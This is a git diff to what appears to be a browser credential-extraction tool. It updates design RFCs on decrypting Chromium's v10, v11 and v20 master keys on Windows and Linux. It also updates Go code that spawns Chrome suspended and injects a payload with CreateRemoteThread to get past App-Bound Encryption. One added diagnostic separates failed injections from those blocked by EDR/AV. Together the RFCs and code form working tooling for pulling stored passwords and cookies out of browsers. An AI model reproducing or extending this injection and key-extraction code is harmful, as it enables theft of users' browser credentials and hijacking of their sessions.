+Chromium on Windows stores **two** master keys in `Local State` JSON: a legacy v10 key (`os_crypt.encrypted_key`, DPAPI-wrapped) and, since Chrome 127, an App-Bound Encryption v20 key (`os_crypt.app_bound_encrypted_key`, IElevator-wrapped). Both tiers can coexist on a single profile — Chrome 127+ encrypts *new* cookies with v20 but leaves pre-existing passwords and old cookies on v10 — so the retriever layer fetches both keys independently rather than via a ChainRetriever (see §4.4 and issue #578).
 
 ### 4.1 DPAPI Background
 
@@ -106,24 +106,43 @@ The implementation loads `Crypt32.dll` at runtime via `syscall.NewLazyDLL` and c
 
 Unlike macOS/Linux, DPAPI gives the **final AES-256 key directly**. No intermediate password, no derivation step. The key is used as-is for AES-256-GCM decryption (see [RFC-003](003-chromium-encryption.md)).
 
-### 4.4 Single Retriever
+### 4.4 Dual-Tier Retrievers (V10 + V20)
 
-Windows uses only `DPAPIRetriever` — no chain needed. Both `storage` and `keychainPassword` parameters are ignored.
+Windows populates two slots of the `keyretriever.Retrievers` struct — V10 (legacy DPAPI) and V20 (Chrome 127+ App-Bound Encryption) — which run independently rather than as a first-success chain. V11 stays nil on Windows (Chromium does not emit v11 prefix there).
+
+| Slot | Retriever | Source field | Mechanism |
+|------|-----------|--------------|-----------|
+| V10 | `DPAPIRetriever` | `os_crypt.encrypted_key` | `CryptUnprotectData` (Crypt32.dll) |
+| V20 | `ABERetriever` | `os_crypt.app_bound_encrypted_key` | IElevator via reflective injection (see [RFC-010](010-chrome-abe-integration.md)) |
+
+`browser/browser_windows.go::newPlatformInjector` calls `keyretriever.DefaultRetrievers()` and wires the resulting struct through `Browser.SetKeyRetrievers(r)`. At extract time `keyretriever.NewMasterKeys` runs each slot independently — a failure on one tier does not prevent the other from succeeding, because mixed-tier Chrome profiles (upgraded from pre-127) need partial success to be useful.
+
+**Why not a ChainRetriever?** `ChainRetriever` has first-success semantics: once ABE returns a key, DPAPI is never called. That semantics is wrong for orthogonal tiers — it was the root cause of issue #578, where upgraded profiles' v10-encrypted passwords silently failed because only the v20 key was retrieved. `NewMasterKeys` evaluates each tier independently and returns an `errors.Join` of per-tier failures; log severity is a caller-side decision. `browser/chromium::getMasterKeys` currently logs all tier errors uniformly at `Warnf` — the distinction between "partial" and "total" failure was judged low-value for a short-lived CLI where all warn lines are visible in the default output.
+
+**Non-ABE Chromium forks** (Opera, Vivaldi, Yandex, 360, QQ, Sogou) have `Storage: ""` in `platformBrowsers()`. `ABERetriever` returns `(nil, nil)` for empty storage, which `NewMasterKeys` treats silently as "not applicable" — so attempting ABE on these forks is a no-op, not a failure. Their V10 DPAPI key continues to work unchanged.
 
 ## 5. Linux Key Retrieval
 
-### 5.1 Retrieval Strategies
+### 5.1 Dual-Tier Retrievers (V10 + V11)
 
-**DBusRetriever** — queries the D-Bus Secret Service API (provided by `gnome-keyring-daemon` or `kwalletd`). Iterates all collections and items, looking for a label matching the browser's storage name.
+Linux populates two slots of the `keyretriever.Retrievers` struct — one per cipher prefix that Chromium emits on this platform:
 
-**FallbackRetriever** — when D-Bus is unavailable (headless servers, Docker, CI), uses the hardcoded password `"peanuts"`. This matches Chromium's own fallback behavior.
+| Slot | Prefix | Retriever | Mechanism | Chromium name |
+|------|--------|-----------|-----------|---------------|
+| V10 | `v10` | `PosixRetriever` | PBKDF2(`"peanuts"`) | kV10Key (matches upstream `PosixKeyProvider`) |
+| V11 | `v11` | `DBusRetriever` | PBKDF2(D-Bus Secret Service password) | kV11Key (matches upstream `FreedesktopSecretKeyProvider`) |
 
-### 5.2 Chain Order
+V20 stays nil on Linux (App-Bound Encryption is Windows-only). v12 (Chromium's `SecretPortalKeyProvider`, Flatpak/xdg-desktop-portal) is a separate tier not yet implemented — see the `CipherV12` case in `decryptValue`.
 
-| Priority | Strategy | Requires | Interactive? |
-|----------|----------|----------|:------------:|
-| 1 | D-Bus Secret Service | D-Bus session + keyring | No |
-| 2 | Fallback (`"peanuts"`) | Nothing | No |
+**DBusRetriever** — queries the D-Bus Secret Service API (provided by `gnome-keyring-daemon` or `kwalletd`). Iterates all collections and items, looking for a label matching the browser's storage name. Populates the V11 slot because Chromium emits v11 prefix only when keyring access succeeds.
+
+**PosixRetriever** — uses the hardcoded `"peanuts"` password that Chromium derives into a fixed 16-byte AES-128 key (kV10Key). Populates the V10 slot because Chromium emits v10 prefix for data encrypted with this key. Always succeeds deterministically.
+
+### 5.2 Why Two Slots, Not a Chain
+
+A profile can carry **both** v10 and v11 ciphertexts if the host has moved between keyring-equipped and headless sessions — e.g. a laptop that was once used in a headless shell then later in a full desktop session. The old `ChainRetriever{DBus, Fallback}` had first-success semantics: if D-Bus worked, peanuts was never called, leaving v10 ciphertexts undecryptable.
+
+The split mirrors the Windows V10/V20 fix (§4.4) and the root-cause logic of issue #578: distinct cipher prefixes map to distinct key sources, so the retriever layer must produce both keys independently rather than picking "one winning" key.
 
 ### 5.3 PBKDF2 Derivation
 
@@ -146,11 +165,11 @@ The authoritative mapping lives in the `Storage` field of each entry in `platfor
 
 ## 6. Platform Summary
 
-| Platform | Chain | PBKDF2 | Key Size |
-|----------|-------|:------:|----------|
-| macOS | Gcoredump → KeychainPassword* → SecurityCmd | 1003 iterations | AES-128 |
-| Windows | DPAPI only | No | AES-256 |
-| Linux | DBus → Fallback | 1 iteration | AES-128 |
+| Platform | Retrievers (slots populated) | PBKDF2 | Key Size |
+|----------|------------------------------|:------:|----------|
+| macOS | V10 = chain(Gcoredump → KeychainPassword* → SecurityCmd) | 1003 iterations | AES-128 |
+| Windows | V10 = DPAPIRetriever; V20 = ABERetriever (Chrome 127+) | No | AES-256 |
+| Linux | V10 = PosixRetriever ("peanuts" kV10Key); V11 = DBusRetriever (keyring kV11Key) | 1 iteration | AES-128 |
 
 \* Only included when `--keychain-pw` is provided.
 
@@ -192,7 +211,7 @@ The macOS login password is resolved once at startup by `browser/browser_darwin.
 
 | Consumer | Capability interface | Defined in | Payload |
 |---|---|---|---|
-| Chromium browsers | `retrieverSetter` | `browser/browser.go` | `keyretriever.KeyRetriever` chain |
+| Chromium browsers | `keyRetrieversSetter` | `browser/browser.go` | `keyretriever.Retrievers` struct (V10 / V11 / V20 slots; unused tiers nil) |
 | Safari | `keychainPasswordSetter` | `browser/browser_darwin.go` | raw `string` |
 
 The two setters are **intentionally not unified**. They carry different abstractions — one hands the browser a pre-assembled retrieval chain, the other hands the browser a credential token to unlock its own access path. Unifying them would create a leaky polymorphic interface with no real shared semantics. Note that `keychainPasswordSetter` is defined in the darwin-only file because Safari (its only implementer) is darwin-only.
diff --git a/rfcs/010-chrome-abe-integration.md b/rfcs/010-chrome-abe-integration.md
index 12c0f3b..eaf4065 100644
--- a/rfcs/010-chrome-abe-integration.md
+++ b/rfcs/010-chrome-abe-integration.md
@@ -191,11 +191,11 @@ Go consumes the same constants via **`go tool cgo -godefs`** (a development-time
 
 **Why `cgo -godefs` rather than runtime `import "C"`**: we only need constants shared, not FFI to C functions. Runtime CGO would force the whole project into `CGO_ENABLED=1`, losing the "non-Windows contributor needs no C toolchain" guarantee. `cgo -godefs` bakes the values into a pure-Go file that commits to git; the project stays `CGO_ENABLED=0`.
 
-### 5.3 Retriever chain & v20 routing
+### 5.3 Retriever wiring & v20 routing
 
-`keyretriever.DefaultRetriever()` returns `ChainRetriever [ABERetriever, DPAPIRetriever]` on Windows. `ABERetriever.RetrieveKey`:
+`keyretriever.DefaultRetrievers()` on Windows returns a `Retrievers` struct with `V10 = &DPAPIRetriever{}` and `V20 = &ABERetriever{}`. The two tiers are wired independently — not in a ChainRetriever — because a single Chrome profile upgraded from pre-127 can carry mixed v10+v20 ciphertexts, and both keys must be available for `decryptValue` to route each ciphertext to its matching tier (see [RFC-006](006-key-retrieval-mechanisms.md) §4.4 and issue #578). `ABERetriever.RetrieveKey`:
 
-1. Reads `Local State` → extracts `os_crypt.app_bound_encrypted_key` → strips `APPB` prefix. Missing field → `errNoABEKey`, chain falls through to DPAPI.
+1. Reads `Local State` → extracts `os_crypt.app_bound_encrypted_key` → strips `APPB` prefix. If the field is missing, `ABERetriever` returns `(nil, nil)`, `V20` remains empty, and the independently-wired `V10` DPAPI tier still runs.
 2. Resolves browser executable via `utils/winutil/browser_path_windows.go` (registry App Paths → hardcoded fallback).
 3. Base64-encodes the encrypted blob and passes it as `HBD_ABE_ENC_B64` env var.
 4. `Reflective.Inject(exePath, payload, env)` runs the full flow in §3.
@@ -325,5 +325,5 @@ Edit `crypto/windows/abe_native/com_iid.c` (add the entry), `utils/winutil/brows
 | RFC | Relation |
 |---|---|
 | [RFC-003 Chromium Encryption](003-chromium-encryption.md) | v10/v11/v20 cipher format reference; v20 now implemented on Windows per this RFC |
-| [RFC-006 Key Retrieval](006-key-retrieval-mechanisms.md) | `ChainRetriever` taxonomy; Windows now uses `[ABERetriever, DPAPIRetriever]` |
+| [RFC-006 Key Retrieval](006-key-retrieval-mechanisms.md) | `keyretriever.Retrievers` taxonomy; Windows populates V10 (DPAPI) + V20 (ABE) as independent tier slots |
 | [RFC-009 Windows Locked Files](009-windows-locked-file-bypass.md) | Sibling Windows-specific workaround (handle duplication for locked DBs) |
diff --git a/utils/injector/reflective_windows.go b/utils/injector/reflective_windows.go
index 6b32aab..cb1a8f4 100644
--- a/utils/injector/reflective_windows.go
+++ b/utils/injector/reflective_windows.go
@@ -70,7 +70,9 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
 
 	// Resume briefly so ntdll loader init completes before we hijack a thread; Bootstrap itself is
 	// self-contained but the later elevation_service COM call inside the payload relies on a
-	// fully-initialized PEB.
+	// fully-initialized PEB. Chrome's main() is left running so it can stand up its own COM/
+	// scheduler infrastructure — the child will show a normal browser window under the isolated
+	// --user-data-dir, which we accept; our Bootstrap finishes before the user sees anything.
 	_, _ = windows.ResumeThread(pi.Thread)
 	time.Sleep(500 * time.Millisecond)
 
@@ -132,19 +134,18 @@ func validateAndLocateLoader(payload []byte) (uint32, error) {
 }
 
 // buildIsolatedCommandLine builds the command-line for a spawned, singleton-isolated Chromium process.
-// Two upstream Chromium switches:
-//   - --user-data-dir=<temp>: escape the running browser's ProcessSingleton mutex so the suspended
-//     child survives past main() long enough for the remote Bootstrap thread to complete (issue #576).
-//   - --no-startup-window: suppress the brief UI splash that Edge/Brave/CocCoc paint despite
-//     STARTF_USESHOWWINDOW+SW_HIDE (which Chrome honors but brand-forked startup code often ignores).
-//
-// Adding other flags (--disable-extensions, --disable-gpu, ...) has destabilized Brave in the past
-// (payload dies inside DllMain with marker=0x0b); both switches here are upstream-official and safe.
+// Only --user-data-dir=<temp> is passed — this is the one switch that matters: it escapes the running
+// browser's ProcessSingleton mutex so the suspended child survives past main() long enough for the
+// remote Bootstrap thread to complete (issue #576). Adding any other flags (--no-startup-window,
+// --disable-extensions, --disable-gpu, ...) has either destabilized Brave (payload dies in DllMain
+// with marker=0x0b) or made newer Chromium forks on Windows 11 exit within ~200ms because they had
+// "nothing to do" after bypassing window creation — letting the browser show a normal window under
+// the isolated UDD is the most compatible behavior across forks and Windows versions.
 func buildIsolatedCommandLine(exePath, udd string) string {
 	// %q would Go-escape backslashes (C:\foo → C:\\foo); Windows CommandLineToArgvW then keeps them
 	// as literal double backslashes in argv. Raw literal quotes match Windows command-line rules.
 	//nolint:gocritic // sprintfQuotedString: %q is wrong for Windows command-line escaping, see above.
-	return fmt.Sprintf(`"%s" --user-data-dir="%s" --no-startup-window`, exePath, udd)
+	return fmt.Sprintf(`"%s" --user-data-dir="%s"`, exePath, udd)
 }
 
 // spawnSuspended launches exePath in a fully isolated suspended state. A unique --user-data-dir is
@@ -169,19 +170,12 @@ func spawnSuspended(exePath string) (*windows.ProcessInformation, string, error)
 		_ = os.RemoveAll(udd)
 		return nil, "", fmt.Errorf("injector: exe path: %w", err)
 	}
-	// STARTF_USESHOWWINDOW + SW_HIDE asks the child to honor our ShowWindow value on its first
-	// CreateWindow/ShowWindow call — a standard way to suppress the brief Chrome splash window that
-	// otherwise flashes because the UDD bypass makes the injected process proceed to the "I am the
-	// primary instance" branch and start painting UI before we TerminateProcess it.
-	si := &windows.StartupInfo{
-		Flags:      windows.STARTF_USESHOWWINDOW,
-		ShowWindow: windows.SW_HIDE,
-	}
+	si := &windows.StartupInfo{}
 	pi := &windows.ProcessInformation{}
 	err = windows.CreateProcess(
 		exePtr, cmdPtr, nil, nil,
 		false,
-		windows.CREATE_SUSPENDED|windows.CREATE_NO_WINDOW,
+		windows.CREATE_SUSPENDED,
 		nil, nil, si, pi,
 	)
 	if err != nil {
@@ -211,10 +205,24 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
 	return remoteBase, nil
 }
 
+// stillActive is the Windows STILL_ACTIVE exit code. GetExitCodeProcess returns this while the
+// process is still running; any other value means the process has already terminated.
+const stillActive uint32 = 259
+
 func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error {
 	entry := remoteBase + uintptr(loaderRVA)
 	hThread, err := winapi.CreateRemoteThread(proc, entry, 0)
 	if err != nil {
+		// Diagnostic: distinguish a dead target (Chrome self-exited before we could inject — policy,
+		// version, UDD-restriction, sandbox-init failure) from a live target whose NtCreateThreadEx
+		// was blocked by an EDR/AV hook. The remediation is very different in each case.
+		var exitCode uint32
+		if gecErr := windows.GetExitCodeProcess(proc, &exitCode); gecErr == nil {
+			if exitCode == stillActive {
+				return fmt.Errorf("injector: %w (target alive; likely EDR/AV blocking remote-thread injection)", err)
+			}
+			return fmt.Errorf("injector: %w (target exited with code 0x%x before injection)", err, exitCode)
+		}
 		return fmt.Errorf("injector: %w", err)
 	}
 	defer windows.CloseHandle(hThread)